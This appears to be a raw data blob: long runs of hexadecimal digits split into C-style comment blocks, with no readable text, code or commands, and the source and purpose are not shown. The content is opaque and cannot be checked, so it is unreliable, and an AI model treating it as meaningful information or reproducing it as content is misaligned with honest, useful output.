ea2a6d22cee30bf4791bf779a2f6a4f86087f0c76efb1c6f7298d1a7e11d4510cbec030e887d625b8d89275afecb2b0970b66cc5b173216fae062c79bfe724fad41be883657014d1707c2d6ba319a950797b5cb26ffc56c11d48b9e6060508b0dad0ad10464b0887cde678b4443a9a27f01b65d7f7d77d0721c96a79c249bb36eee860505dd2b87dbf8767e18034b79bc305cfb6fc7725ab5cd793fca7c0b0bb38c46e8f29f0c0a85fcf29440de882a5c17c86cf9270976ea6753d2bf77270690823c506b7bc41b745d2cac3ee0514b8d20047ac9710414e22311121f71060ecbaed7dd4f64c72728cd932af4e3cb3ac1c6d273dff70df7f645d97321af021b9fa0977e365acc42fa43a0933724e5231cea641e40574cfa95d05a4b4597ea475a7beeec3713942ce79ee53e2200584cc303bcec2da40ec19b917ec0865c308f6de64814374873aa8ee842e851f5b2f36e3df1c3cbbb2f93001e1d6f017c5f2d3b56be699e0bfe8b222ae81a9816dccb5d27209ad1db18922c8581c9dbab41cea342fe07394bdc4f216ba79ac3d17b82e8658dcca699c31dd1f3305e8a40354a2feb44f6665321b2d59dc0b1fb6a40*/
/*afc1d84b10c6c5f709469cabeb94a45285a12980f98f25d82760d19f587e1abd1149bf47a2359a4a996a95d39565f6d670510b15a71707cbb0767f01e2975231637560ba72ed45b45667333bbb50997ad9dda53f136cce9975d149679a38572ad5ab9714f11b612d6d01affe574769e814d865f965c943f97efdf5471d6e9b6bcab1a8033a27cedbea9544ae5b7e08839cc94241b775e9a95ec304171e22ba86d2c1545752d4029af28530e154bcc35b46cae393533ebed10f84179c28589f1b2c79eeea61bc6a42d7ea4b6c093e2c99996dc978349edbf447f6a71a08b5b7c511bbcb332f73164e2291b7cc636fcab63ca3b75dd0c325b2907b2619975eab74d280ab7cb417c2a314c919a010027b61017516c5abd5e5a4a279fb066948ef364868006609fca7bb4557c4e09617e81bf7f54dfde452f3be5d3d25ac9d5264ec90061969874201fa9f33ee4b30bc962673dd73d11e707aa56e672fb525fd9fafd0d842f4ffec2208e963b9cc2cab6663de2d58af7e9567c441207ef9fb55124ef01bb5d4f978a46dcaf69c4cf24612600c05beafc8b1f860f0f4fa8422372ca25d23e79e4b9ada8bbd21c0ab4cb56642c4f67e19037a8e1f60ab346fe7d24ef8316d4032a889a569ace01470740dacf70793821d36783efa538f62025a10519923f23e0ff6230d0e42f01c4437897b1ff2bcaaaeb03c419f1f62e55e90bda518a72a8fa1dd9326eee5683d8eb232dcd04c9e4faf877773bb269727f1cbd433e5191a646ad64c0ec4d5a44d5122277333ddf48e5162bb4ed6f4d7e2694985eda1429677e9f5466872f39193427ea2f4a4d0095951cfa40efa26faaa588819dac8d34bd2c0b90a0cbe116b709d25acad48413e330881207d462f8bf6425a5da652ee8e3d0253dc6e8050e7bc4335791697adc17663a0c732c3123c5970d67ff62aba699961873dc7772e7d3c6e38122627e17643c0f3d7db0bc8896d67934d4cfb8422c5f248fefa4c5cb6556663642b549bc3f2020487e9c96205bd505a6ad190505ffb24728c105ac7fe8d284afb2df9852d31bdbaaabfc494106c052bf5fccc8e26f5f2e4f181b4b6402265f7b95d5055030b26f5aafd21ca3da19e3a6959804603378a4316bed260401cd0661d181b9efe198985057642436b5ab0e6bb474c68de65d5938f63c39424fadbf54fab628f23c96a967c6f21a28a53e35766113f762e31267dd65b2de76d064cbda0857c94117bc05309cf681891a5e2baa24e2d1dc1df4e3bf614caac21818504bd01b359a81f38d21d39741d04a1823295f5dfc04899f80ea569e3493e3238df28cd6995b8950b66acf829e5c644677069881eaad97ee24757d8551f1b283b93aa614ae86c55b7ea05d065517b7f06a96f5670a32e03542898c88559825eb2c6eee0ac6ec69747b9cb75f49dcfca9eec3bc252f4e2ea922a22a377f4dbdb6ec677f197af6a3a94ce42315ccc643bac24b6d73c4bd3a5bd31f3542e0fb8ac08f213c2862aff776a82be99c753af43e7e8ecddfc5af635585018ac3689ca7e01f3d59bc515b4c3adb1e0e398f49cdb77a0c4e8c26f161de85298040a28c2e5ae51978f555b7140407d91e213c3063e0f624b0be825e678c5a19eba6bb257721419ff14e6877a0d29ea9cadce52b9bb2f563444de01781edc4c158b3e0c5152414a8b942227ca0c1660b4bc8ecb27870c261b68104eb96ee69d52058600a92f46ce6f92a06badb3082ed5f14282dcd4dcc5d3e93826438b3a0e38b6bb9c815ec382bc2b5a2d6b01184836fcb0985d0ececcd0632b979d492524a5239db50a38e1cb240069b4aeb439fd7a069b9b4f0a6f07cded3e84ba7a75723f9e6b2cb4687789ebf72a3aa0e95099e700e1d7f4d12b08324e2595c16edf7614a715c659678ed5838a6cabd5bad1f9b023f28ff8589ea69a1fa8f57840e70c5b7115525c5b4c1e2690b5657905fa656aafaca6f272e7e182954f25b2161ada8caf3e07e0914eafe454c1765b42f64f4588bdc07e6c24f969f198630dfba15c9192c5b407cc3dec06b4559bb538a966e6f8858667bf787bec5364b7bfe0d8e65447283be37dacdaa7822f1221845623834f54b8fc6b77cbfe99b8d03d758640b32d7c98153a4e17a164176ab34e01237469cc20a62b61a8ce58d1d78104f8972703410c584832cc31b7a66593a4dd6967902726c26c72459ea6b1862dc70357b0dbe0674419605cea163e16382ffbae6670a7efe839ae81455c99b79b6ff8d62bb9a87bba913a278d7975eb859da8fd97dec75e1637ad5351d6d6d156a60744f1fe988e528969b8bc611443c852da3d0754f3af6110b4d8cddf372dc0fc144965af0c698ff953cf956842377c5b34e00c8463e8dbaacc144b9d4325b525a34e9a24edeeeb045f5a6c9985cdfaf8f0b06713f08f43b74a5b6aa32e70b9b21f51f2c2478961a163141ae06cee6ad076dcca2cbb856c112d0ac86280bf421ed5efef02fd7f197752a47c08a5928320e091de5d5ae67863b794726f5c9054f22d78ae7af1a276ad9560052ab409f98850629a861b5cf0b0048aa4876568577671d7ebdb8dc06e6f284eda75b8471e3398a8e9b4bfa96da40902418e2f5d9de579eeae1bb5e2abfe87dc871bd54d42a3ba03f7f5805d0f0726dcb61dbda299cdbce08e07c53edffaa865ead1bf848f1f13b255f4418b647e80e08cb035ad7ab079d25c2358d001b15416a52ad305ea2c82e696f027598ad6048428671b3bfde329d1081ce9ef329a1fb326412812501b9656ca50aaf95b8a67e18fbed36d945afadc159984a554a135b32306ce*/
/*635bad1352661f9edfec9bd2219ce80f439e5e1e22bca944c53d3475af73a6e128e6c143ac207ffe96754096b7ac750ae945c471ef94c40691f10fdc90dc35a2ad2073cc79521d33aa1c6f786cc882bcdb54f40e6864961d48a72cb8483fc843c1cfe7a2ef44ef276c0b1c1e45390da7cee62b39ec2eb34eebc5ba383487084146777a18d2606217a472acf945a7fc60dbd0b09a44a7cd54ad3520c3221e44aba4dad7d2d6d4ea86668d00e063f26bc89ab123a3752682b5eb9f1d988a6efe474c47a54fb9d188b0898d9f7b4308940b62fd2575659d5a8eb54ccf4bd7858e1f98ac66240503d92fdc78db6d202a7337e912d8db2c2e830a36d79ce478a8608f50a8ba5228b697b40f09f2395f5c39d474fdd8b150eaf1620171f8ebe12ef25382e6342bfc17c7fecdd39766c1a3e3d68a3d6543a5087d2a9c182b0948c39dac1e9cbdc975e45e1b911cc98f95591d75c833670dbbf2472d0dfe1280e2b9c753f42d5cb117aefe6809755152b37b1da9dd9479c72336f4c257278fe4f663fc87d24b480d612f52e452d18afa1833b1612f8cc46fd77804825f366587d533075c93c777552357a6602b5ee037b83f40284f9a5eeead3f6662109ecb8e9a5637fdcfe8b2ff369bf919ea73d59f90b1037828e3514ea340f5a218db583bcbcb9a3aa430eadadb1c2317b39818aa684cf02fbe96982e0b6adc88b86ae5561d4d2faf0035a64868f7162cb05054d52fc543842feb4fdc59adb0235fe76d80f67bda3cd20e74cff173750af3645fa038c1fa6b3f97c8135a8fb13abff7f392d41eb9f5617d045319af95914e7c40fe1a5ae3cefd91b861810f6bf28e0d417fd9123c3fd8d5e8dc08e6414001eb7aa9d4fad55af5683db6bae2e14716d922fd3f8b783dd4930b1130e87d9d7b6004752a34b65c5a8ea4f06b38713db48ca6b78af08dd5154e96bc3924836f9b3f6424673c7d2c72d6158084b138b85476a2cd5b00adbc9d0c6ef427f82f9423e17a8562492faa41e0ab3ce1c466941e644630602b6dae441b988f48a85633a30ee79325f5a003e92211f79b62e719adde84e834fe35a32e23fb6d6fe1c8ba32e595e83b213e4a319fccf41f3ac925c21fd5dd712979657cb2d64e3a9aee2d8d088764513ed3749199015dba53fd9ef1ed83cc6bcbcb124383b75293e3cfab39bc6a4de8ba07a36339bbe6a4e674123c3bc18e2d471132c9006491ac3c7e5e5d98a2e0b793cc71d290db05ea3d3773453ede8dc19b96d40ea2d679b83ed6c2ef918f32bba8d6083ca5b45f41e3a719c8245c39955972d0b5ca1cac331a4a5a72e658d4aa9c078baefc1a164ebbf3437b26d64903e3ab1596a46d6790e1c23973cca06399d69b2e7019c0223cc1e1040daa2de9c26f4a8e63c51e49de1867af97f2e54739ce6d748779d5b6f2b79ed9fff5f921053d7d5990020b671e306e0ef8ce3bda90ec462f256fd9c10166df3df5971ffc0ce7bccdf94ce73e1fbe720e8f37ca826c4687e089181f0e6eedd3652e55438b6448f545af7d89f73ba4ab432dc0ddc2aed2b59570a9ab60aeb24eb1b3b08c2675dd18aa9508c147219d4c02af24c07c9a077cb908a7121bd40587cf3ce0763790fcff12f9e63c797a2f702eb14a5a9da70447a858a86c12a0513b92ea544139f764651d2b63c192fff1483db7ee17f25bdd89938afe90b841401b6924565bb8c5b88e0c75222037edd82d813822083d7d08430b795be10c1e9753e1ca0cbfbf317e6d3644a2f3ec67ff204a3f41ca438903985074114fe2d018d20a67281dd4cff41bec5d2fb1c309c6a508c0836053a6574258b725be3e5730bd333faa1fab8b9ed479a42aa1e8480d54cb5f6fb8e8a340f65a0ab7dfc42bf1f853aef6e53b9fb64f90d7d2324dd66d6b2f8fb30eb3afc213e4b680402d9e504338b5d04bf9e8c97113b4cf0eb053e4b8adfcd35523928f04a16c1645768fc3657e6c7add951630dc52c2cff37c63eee47ff7e0abd27b8388af35e03c4a9ca01966612c399ba5f8c72ee8c18afec012c3d9389b80c633545b092b5a6963d9fd8c711db4fda5f80f03c2a4958d2c139e9f82382fc448842b2c01f3eb3bfa47bf40b5cf91ae8d3621919260f291b571b8494fc0819f59a4337dd37a4f109152cba35892a23639f0571afc6eff8e06fce1657893ed9df9cd4bdacd5b4c35bce1b38c43b44cec41a5103095a591cb265191672a3e8a6fad226d71fc5593f2af93bc4ef38ac80dd341993831446db2b2000db7d10155d7af383152966c696593deb7d577848b5b0858b73882290ceb820ed298acf6ba7906c7ae5f7291bb73bd4aa99e2e52a8d405fb7a39d88afb699899d6062cb4fe0324fc8cfbcecd2fbc4606f020a9b18eadde1150c82157a84509f308d63e318711031f8086aebacb677ac7fcd9998704e66bfcabdfdc265e02bb58329e899ccd72fd7b997c4ec3bec22c29ae7cda03ca99f52e5e149891223ca713943e1b4513f98fdb92aab8c37b5749072f118f13da938104b805148c118365f309947d37b92e8aeeaf6557276dd13168158cf2158ebf5361e47d6531e50b0ff2ab195416056dff0db25b03de0a74de38b0519a5106c58af12db9789e09ffe3014e074f0b3923d46f5ac88edf5ec138a8e1070ab7f3548aba82523f98a3404c91b7fb605138d2eed100e36eaed57046518994c868d7187a37a27fab6367de9317d66949d302cc85b033c8238a7eb6b0290ca9327268aaff3a8f5478b6e83c3e4d24ab7fad027b3387841c76e0a37b8c3d249810974c8c293143696830d2947857ffebd7cc6e2eaf539475d8*/
/*565502ee3aae6615a7c711b128064e0ce00ff4f925d9a2887ae9c6abdfe84c4ccc186bfe38463b1c4c2259aa919dc362892eb19ae0a29b68ea45ce146ab7a1cca0c3bc9a29f51c23844aa7223a1c7f3b85bd3335ad762b8f8c7a1b13baa7a21a8763ee49cbe76e3feda544c5d99893bb36d620eec02dd3c5035f6252225928b57b6096f1026dcbeed24e842ff6ac89ce82aba07baeea807041b0b5744ded631a176b88c8b7836e76dc5e0a5d14fd83689aac557285d35e7e31c64d1d2a3cbcff08f80a6063f78d0d0b1d9176389af12657f1a15444db0ed2bfdaf146075d0e6e5e4d87ccafd1e35ad72616316e41c2c38e333e7063d9b914ff93e7f495883c8c544aca93ccfe2dd1ec74f4b6c61e7eaf8254f7e83159dffae6533658c1d4bac0462bc560ad3977d8e29c71ae008416e428a1d5c8c294be226a616ca767889d67cccc614d341dcdbbce5b3ee945f4f24cbc881c43822739c09a064fa495bcf97911ff587e4d23e5f4d95f17270620dc75f8cccfe12e2032f0432bcdbb1da5e0eb9591047cba9931c846b01e93b9db4c028897ba02ed2e295c47a0d57261b05a93058484ecb21a34483c1799b1d4140498e5d47c0c7b9a105c6097461a473155085e71e2ddb6dba36a95630c2af32801b3453ded418702b1cdd04cb6a3ffe92d162640d94a06e312fcaecc708d26eedd372880fbc8b86de0853ca848ef94a0a44fc539f5254054e9e8d5b2f0a03db9412975f00efa7639a3ee50139360234160d02d91ee887a028fc6592531a689a679853dec0d92ba28ecd11b35f193636dd5397acb7b2b050eb53e2c9518591a51b5801c17c7d59e93f1d4f732f246f28a3784f067f119674f863c5306f1831392386337cf878ffea7ea26d8fb579cf9711c9930d2d60e2f4ed28b5f5b4df58ad94aefa472795578c253a49d5cc0fd3a98fad8abd85032ee340f3c9ce1953644ceeede9e8c83692ea8698aa1cce161ff7429d96291588171b3f31f7cceab1bd1404096262d40dd08bd73243a26e7902672e91bf9d2e0c8f87371f21784fc694f97fdcbdf2e8f49047a62ac11d77ec3ea91629f264d98617eb4e0ce95a581335b166360c5afe38ea643eb1856a730a0861000567f8f98b025a1b2fbd7110e3f9b276007a35e27da31afb90c5abbfee5af6ad56ae840f065544d996d2dc0a8cd44e3a18f98866814cf36f9e1d1f5b9ef387d045c24f7f42829c2fd05fc1ca4db2b35d0ee8cab8f433e4c84ff080826f733267e5b986eceb65aa44ac801b75e542722094d7d56dbdce1cb89ac1a43df427b08589ee1f7687bb53b15399787d82a46d93e008ff65367ee77ea60a8cc689d93dae27d3f805ffa9650f2a23b43494ad14e522534fe7330c7214ba1b4608159594fa9619ed4b0989d4d1279ac7e0772fbd0d163bfe2d900a15abeb5a2e3cba2e16e4f4b64742e43a4a5d52de4e36af2532a0bc0962835a30e9da3b2a551ae444435eb5f9a8e8d8d94708a552ae7ef867e4e398ee8bce7d61e43e68684fbe3f2ba5f9183aa04fe5f31cf7149f67b2d1860da57ce6a401b29d084c59b92d3338342cc9f1fdca124d9da3e0187094688f3eddb16ff9d832386f271573786f579f0d3f2d5d8ca54a4069f13de61362099baed9ccce90c4ca22d350a020e618de0c40c0216248de3dd8789b8e65cc4d453886a2d5c922538813320e076f63aabce28c1ac176da17f5d9077a98864dbd8348d6d4548ebf6a9b10bcf54eb043b9e464fd32eb035cabee7b80e7476d71f8ba96f13e179b51fada7b59492976fce3b075719957a97deb5a7302e3c9107aad3e069599713da6ff0f4b2c951dceb3495eefd0c564affcfc4e50eccce8b3d1fdf867c1514695e2a56085468da4633af0f4e8b90189aa66c7282396a91b8c0e9b9314e639ef8c53a96a0b671f1841bf1fdf779ec32ba155177654de06e8a3f1d4a4ecf5b965c4fb380af712a5093b33bfed7fd03294f8e0951f05790933096be14f86df471ebb554cf096ca99571460b362d68364747cb30c5cfa6786fdb5183bd8f154abd01b996b21ec926128f89c0c8e4303257e41a61d9f4c3092cd01507153f51c782c8f63c6f1d2685ac790ca726ec18870a90d94fd8c56c28d08acc836dce3529e5384a9fa6ae6db3503220400afa40380f8cfdcdad0634f010589a9a0578084a3ee1ab9c5072d7fa95c6209cc4cebb3a51412ddce67d879c1f3c45ff5c8d71d993af726951feacfe0482d54578bc51b208f568e7d70012523a8d10926594c5caf65a904fd36b24df02aed13f676751f491c3652abbee32abeaeab52466f21aea4d6229ca7c81b033d21e6fea3a41214d0d02a3655b589011b96eb4578ee5285ade5421f46a72ab5c978cdf00c25702c38b4ef70aba3cb2791c4906b13827ee5fbf919d261fabe3a7ec9043a035af4944194460d0d991e72ec9e7c087937389d2fbcab6ce244d7f9682ff9be5c23ad3b66dbf7207db14ce41340270fd93de8c620c1f030c4d0fe7121d8425dddcfbacbf998a95ff12787f695a55ccf27c71d66050b28cc1f1721df08a0f2313a3b47003b2a35c627814139c8695e92def674073b5d15401d29cfa41ad8b66e878f4a1612e0da92f452bce814e667be572f8704e8f47642d20f8ea83eb5abbac7b3641605466198287058d6f4bf955d0ed3cb58d2b3d93a8aa9488ca7c7ac9040ccf0af88581419c7cbafb61bf3701d50c2aac77756841e5610f0db9ff76b5afe2fdfc1af424b29eacc97a4c76b94e947f73b6ed0e115a9c7dead8b8ae14db78640dc71c6c6f9f17003539c8e0ee3ac194ffb1ed84cecc*/
/*2b9ee7120851e62f261ead07985948f4e12af891aa3ae2647cd2a15d934bef8a4a132f0e0abdc6d4e1b07b94004179124338c6a8ea72b7aeb9efa27120a3065599766f91219542ac51dc325faec5eec7928d116b85c30ea0be48e35db0258c6f1a5601f5307d6bf631957f10a9b3f27b156da60648e1bc71b38f1f42ab4e77cef372dd4879a21001d41642856f2502fd85f8925798ae0023333a6c8262929b8083fe412c0d2bab55ae4275c313b53be84446b619871489745eef4e4cdf899c6bef6987191d0316880a11d37d77b740ad611d8e74c91afd91d45eee04000982f64f41437f8e9e90633dd5a41a5e7171801a49de95b9b602e6cea3432274f482759ca4fe3f964672189e113cf8ea1f128c8c4754cd8ad75dc29549729a711b4c3a58a53dda1cad45f6b04270b914c1caa324951711b526783f315a90fedcb697756fd4b9de0563dfb30b75e8f36b267d282ae1e64389e73565142f7942969bb4b669a512d4d9aef50db95d0e5896d3f8ee65966ce9b56c9795d668654a2eaaf63429c0dc693dae438c89e359ee1455301a46381308687e32d9134cc6a260b990eccecb9cae8adad232b3a64990229d383c865531f67719115cb97394ef93a7e8ffbbe21bed228405aca270b87b76d77572832e5a73738c5e31652f3a23e7611b05d95fe300f80ceef76387243669fffbad2588194c2d5056ed565fec3478e31ccc6e0a218e430c636fed3d24975b3b3bce518e90d9c478afc4c547306270db7eb10ea3e90a1a924a4e2e605e2e196f8b90e657833680592db7f7f3a51b98ae6b524c96d5c2577e74305bef8df605a7a05980eb3c82a19fc4913b714d879df86c81028cc137ebc8cb04c81c88f3a10274c1b334340e0b446b3e707554bc54b19c4e58dcce56ff05956743400b984846b1ee47fa2671253f7aef2ea7ff1e31745ad3f0cf0864b138138da9d767d7dc3ef934fee17d99fb983bdceec56ca6bdb7d6dd2a6c0a707536816be00f3a4e21ca628cc9cf72744e404ae2315db6955e540ea49a5aa48cf448dd120525f60e3d185ed74d74bb6622535844c55dc1ca11faf8cd2c84584cef122f9225a8def7f1c8536218219b156aef47e4d625b10b2faeafc92ec3e35d5d681f86deb6a9320ca960321c68c281774f05feb9991d783be5fb27765d12982394623269a710945529aba030d24777e4534bc630833e705b3accff93ec531ee87d78a94bc5a5e197c87cf7a9101d22709a0f4ed347a5f11724dbf8925300341a4da5f87efc2a9e968b07f94a3d419dd95881380de0bbb698f7654fe277084ba41f497e94c79275e96348dac1189f9687b36c70fd98cdd7d3487df72e2760e1737a7dbac21f0d64806116ac419062933fcf3d05c14773b9bb6c332a563f987c58bc23841ad304ae656874d3f3d1ef5bcb238c266d4b8b328324e659fc93d97af7994f8072321e4691925505af0ae400e0c2bc10c13ce8db30a74c13ea9800af30ff6169265733ccfd010c89192f4c38c705b65723523c96198d2cfcf00dcd6e14be7a7f2acc4f550624865da030389e70b0c0f16cdda651f826fbbaa7f86e6b7a9702800d5f0cd52d61d9a10a369489ce514fd608990ded3ad39dcd32e9cc0ca132866d0761b09b311e7e5e749d977d012b8a09b0814d61ac0d2edb3509602ff43f801cebac3a0f27c3272d4ddc69d3a691ab44b0a33f436c1d2c25ddc6ea1e67f574fd13f70a0462e5cfc90a63502d0edb6b90d1cbca19e9ba84a1a168b5bb7831cf85acc61198d31d76d7d1890a40e5d2d81cba7122fac7e5a9be0b423a01a9ca52f24dcc7e64354365a9d2277dab0b1cbd710e97fa7a951261639853bc978038efe3fdb9b8b2d4768017ac136c38de776a5f5d7f3e537751c00248824c9bb2de90bb22507066d286ed7f77d614c6da39660bdcf7f29ff77be18d90db6905c01ae7d64eb4e5d94cca70122e69320ae3befee3ede7a13ef43ebaaac15936dc951f135ecd7f7416b862525ff59341baa0f304250c56c9eb2684219f6a3bb140c79d9b5cdca412ba3d23a41c3a7cba5e7ca013c880adb1568bd2a777f7445a0b592ff7f050d6e3071d8fd5c8652a5fb35c552ebd63e2d1fd566fc2830451968be1cd8f6c3100f3dd00844eb1e27b66866d76300e8c7f84cab926ea1884fbc2ff8bc463579bcc06ea3b33258616c35832a0718d3d1cebf6163d3ba2548e02d10bf3ab771aad6e8a27ce98b2b55fef5e28c5ea936d67e943bb175002471f80bf96f4772845940446c1fe431d4210ed700422bd11fa898cacbf98f5828e0f161f798538364456679d6337bdb4190c6dd48f25675e90c81425ec52eed4b45356be0f26a76a28529f6723178ee1b653108da3f357acfe83fa86ca613e7924e24263f030210eca21d5a22018eba89696dbd8b2082ff2062c2a09ea72e292c5b6427e2f70605a2a114a817ae1867f033fdb32b646f8c1fe2f91b92c5a5cf4796093354b687fae4a3244d4f00aa624da297505813c431f7de0429950dc2c6921a08fe4bbc6a2c0bf7fd37ab01c7cfe6e9c8b184b6edc5e6daca91a90ed98efb8ecd05f853d59b2f337cb324530faab1fa8146ef621abdd2886cca32bce3eb31c33548e4ddc3b66b1f4eff8a72e025d7ba81e3e4ffa6d81a637508d60e831fc30a4bbf7f44dc96fb9cfbf17b679b3b16a16d35e8cac7d62add272057c49d36197b53442053131609bfaa4ed6f44968298501be26826f746aa63e038eb1d48ed33af6eb776177f1725f2a10141f94d4dcb0d22f9b14dc7da0aacf85e717af3e49656b37c3fa7025da5b47920a46d3a7a55*/
/*a918ffd3d3243b1a1b05168939bc184ce80c86175bf29e3ce7e7254a5a44b26fff255e609e63840afc9b1fe00a105ca80bbff7e8464c9fe5c57615a4ae5f874b5bdb82deefa520c82d64e7ea0b38975ec1f6e36a2ab703d59d6ed0016f8526d6afa44171a5b8dc4cbe5a69180a818d8c1c890d8ce24bb4442b7aeb0cf2336391418f85a03a2a427a529c0aa29a636f39687a2214c46e28b2fb04825b66b1348860a12b531b2f01f3bb93a5db593709b02165e38b176471cc1fb4fb9c1a940192a6dfdc8725fbf997693738a8e4652879c5886245d2bcaad1529768103ba1d3600d1561e8c1f0dcc3ac87108300a8b00891546fe2867053346ac9c96538d41e84582a570e08131f7ec615de2286fd76dca1a3ba835bb714f5eb485c61204936a30aa81e5557ed4bf9284f6c3bf8e3fa28e0ec25705e109035c725fc748afcd20a9be3946dcf096045500907d581de4d36489b7771ef436cae170f76627b2c04b4d470d6d33913c5867e5203b249bd9eed6191480c55adf0f65737a76297ac16e394c62b0d5c75fbe1412988c0a58f689353a49aed94d31f8c58aa6a3baf13ae466c76f446a6a75fa4c7dbf188dcd59d2895ef873c70dda4bd880145f20448c86e2ec90de1e464a48e73d7ff52804214a924e7871456a2868a1c34888c599a335a2aa6c7c6eaf217ace6e3d39f664ea0e2ec5df68c9616e682b95ce287eba16ba12c2488917bf7b782234eff0871815a87e90c43046da75b3707af696f7ec386ac6b02a2b0e486bc06fb5ae6a55abf5c9a64edd2a22957ce4197e8a2f3a6bb8b495e4c37085338db074f069aa4cafd032f24e793e54334c7bbe05c57bcad80e8f170367de4c0f69402feee88260aebf726dfb98dda8acd92dde0198efab9dbabf4d9b7a04d58bd67bcc086e2f36185fb183bf1b845da87f16c63bb7ba1cc7ef5b68774eda5346069f6836cd3c3563dfcf5ba355c0594647b76670c61d65194e13b74d823c850bdf6f5cb07ba500431173a50d09c4fad7be23fb6b548a27e4c573650d43b51f0d6b207a8a8827f2a2a3a80bc317ca252248334eaccb1ed93a10235ffb580d8877963e64a4fd21ecfc2860eca18a7e99b68cbe23b35505446414ee0719fabf8a6d49fea5927341dc3092ce8dc75f514220f4781ce86880965af5d928718fb006294aaf26fb3af089a54c99671ef42fbf2aa1244095ce20cd50d481919c362422473970070de4b9aa670e522f573f48d5347ec164764d35e9dec6aa2cc0161a13b8039db682553654aae062723bec3f09e13fc5048fb6154866e8c7f94a4b925eaa34fb8d4c2887c22e7d694b1ad63ec36200547091a38ce0e5adb6d4c2477cc8946444c833d3565c59f6c018dc23e34e5f26192837d83a1a359ffa5b8efd94451611babff9a3cf5c1255e1f253a535f4ac9fa40f0544a59462ea535292c6bf4998c688eae356240f32e4e69dd198d77d5ea0efaf652d1493d841a981bbc4cc2830b4d167e2e6b9528cd85fc905de8685d20d9a5dd755548ed802040098102c9b77222f61f1b49b8e59e635d7e5f09c670e7b414940805740667161350d35aab262fcf74ca0e46346a8f382953eb8fa30efdb06defd0d4f8d7007a4bb8159eef87cd49f8e3de2f83c88662db862b154f2fef7b9d5c88a6e19ca8bc4937a52c10e88b31a880658e3677dce2aeaa98d2c70b19d366776eeacd1b410cf559383fa13c20ac199a060da4591456cdf117fd6455c3dbb07aa1be3336554af95d389a5b3faf717b37814f5fe026208627ec2c5f729d31b372fb009fb61beb0c620495b9235b679ba8b74a941db82fc4af7302d5195d5f8d1c0fb506d07854e49ca516684f9363d92f354102708009fd698cba92d971c6ff58ec4fd953cf9dced92e3be15f7eaa482aa65fc9d8d090da4c86611350ada017e94a5b7192af39cc95a9c788a8a6d0ed4b1220ae217738c8774fece6d1207410e306edd1838044e831d6dbf4f285018cc1bfbb0e8f29e2b04dc37bbd304ea91d844fa1b94c1227e9e7b39ed61522e9aebcca68c0d301effb314f15676dd53bb7bc99d8295c427135f2c8c78917ffedee555aaa87dc40ff6bc4fa74605c4a5ec8bea23e713f771a4cbf461b4492800b7bcddd03cdd1b9876b7ccb2919b8367d5f98a4544abd740eded6a2a4aaca46258e2e0b3196c5890ad7fe712444ef72836e2718146f088f07faeb709d4fc35a8f03a55a4cbc9c8d508440673b46bda892410fa03272fcd9e675e2f801274f7e1a69f0fab65dd7bfd2f314dc56af9f4851e55132a99ecf83c57214cb46ff7fafecdf9baa29214553ca9671fc724ea787c1fc3718096ad59d317746286c62f6ea5607fbb2d8db0209507e6bdfada843b3ff0b7f33a1d44d0f216bf182af958d9acb7f19df8e5cd45e8a4a6d98e28e6dab8d1113910f7a8e34b361f4a337707f07be5ce7ce74e872ca9f6186f392686ddf9bb68dc048b36bb5da7457403dba67455af26679b028c2f0226e1c1c55d7113d692f86045089f56514dd30d41e0f414b6dc63c83e108d88419939acfd677c9c5ee42c190e7afc59d22ef9efe202db464d5c409c1aed6ceb6e3fb737007d50816df87ddb793e01d12b33122ebfa8b3e85a189ffe8d2fa2774274fa0665299c4eb4d5ccb8797881e98276de1b4b5966a7cfcc23d67be8bf1f97af7fd41495f0ddf4859c540a11fbc3a58ff0a3f7981d7e3ed53624745c6a593c3767d1a6a3784f3f1fcdbdbc1802f11ae75571d1cec8de0275ea304cf0f50fe284a02c636e18cd2b24f61508dae01990c88e4a1557a52f9d1cd814e424cba581091*/
/*ac580fa89e99b4aeceea365af50e9ff02ffe6ef33b0be27cbbb234f39939aaee364a80e4e9d2b4ccb28ed95d46ab60da59418635e0082be50552a0a927d7dbd29e37cf20d1e818e911ff794624979dd6b137012097da1d3848aebc1a67fc1d8c747d6e65e5b51ed1236cfc5d710ade0661dad118fc27c2d82bd254c775faf1596ec9d2f705fc90956e30f826f7d65df037bfe363cc0a9291e9e3706effe902eec8b70b5229a6a0c2a23b90f5909944d8e1030ae79504f4614f0fda901f74050a1f8832240e4cea3b059bd2d66d00722a52716375badde1a3cdbad2fae7a8a880d2f3cd3876840386a519b0822dc8029954d68637911b58ad76a94ee025dedb17b9220b9bef66a293f42efb01e4483740a29fc9ac49e3bda56f249f5d85dc54a32fa506874ddbe6a495b95f2c446b5161931c72060cfe94458c42054094410b4a3215024fd08bffecbe8ffb587d282b66a43d1232b95c8cda98391352ff362d0fc7f590bb9cba39be9753d4ac933df746e55a8f890dacb42a484e35f089789a734e57117e2728b117daabfb4f506c178e944f5cb69f6dc6a8f9f1fe09ab99aeabc0444eac4a38544dd09534b2e5304ad526347781a2f8028953ec61079252f829fb500d0556815429483d8af2c88468fed222697fe38b679605b6643ac4664d9f3837df857cd547d1e4a8fcd32332478ffa0c6a057c46d3452231094c129b61b76828135b114e5caa7dc3dff22b501b11ed04285840e726e94bd0eec289117f2e5df127503f74babd43579284a8fa41eb73a80f19d4a021b643b582f189b9650f2412d4008aaf0ba7719f7397945958ce44e29b27bcaf51c2987894d4600cc15990db35d10f8d21984bb73838f0a5560d8f9f51ea50e3a76972ce9641880eda33ba18a6ce8859ecefff6bbcd84037a72afe0e230b227df72ffbd9bf40331f83a232c48386e5ca6c3c43a94faaf106ec2139e0cea52bee5b33e0ba212dd636d0f3b68e8c828728da820a7a64ad13c475fb19f4eb60465096966ee2be3b43f3b83e4df8a430bf66abb1c0b62dec8acfc1fc388e9c9f781a033765bbb24f02c28de0f77ec2506142a57f71fa67e0f18c774e06481475d76021f447223b748b2d1c25087d0b7b14c2e08319161d59312fc6b9cdad73c1036881edf2aea4fd1895698375cab2935c01529baa8d908baa0547fcea129f9cfcf3119ebdc65d9561e0305eb79238120a8a105fb9339bf46e1a268bcf9a6640c00bf854760f9c571e569a425b95a261e13f72d18d7e3dedd88912accdd2736bac2485c13be58c6ca37f62a2808e248615d70ce8ce470a3546b40ae002c4134f684057897e77f4ce0c80a2bd1be33ec03a228deee1e35ef0a54bcfa7e0b4ca8cd51cea25928085a4f690effed06e84eba3471363e81c61de946691b9ae80a0b341ae73f127095b2fa33fea1180335d7088919571e099a68ec8563b8528e6037b15cfe2891ebd19d896dcbbc45efc9ef342c93e25e1aa594e0bfcaa02114ed490eb6f06934708c6516a2b96c530cd3b80664131b10b1115c0a5279ed95a629eb58e6f80d1678bbff454b2e8a849ce7344b82f673b763b57d3348c5edf015fbfdc2281d78a15cd55bc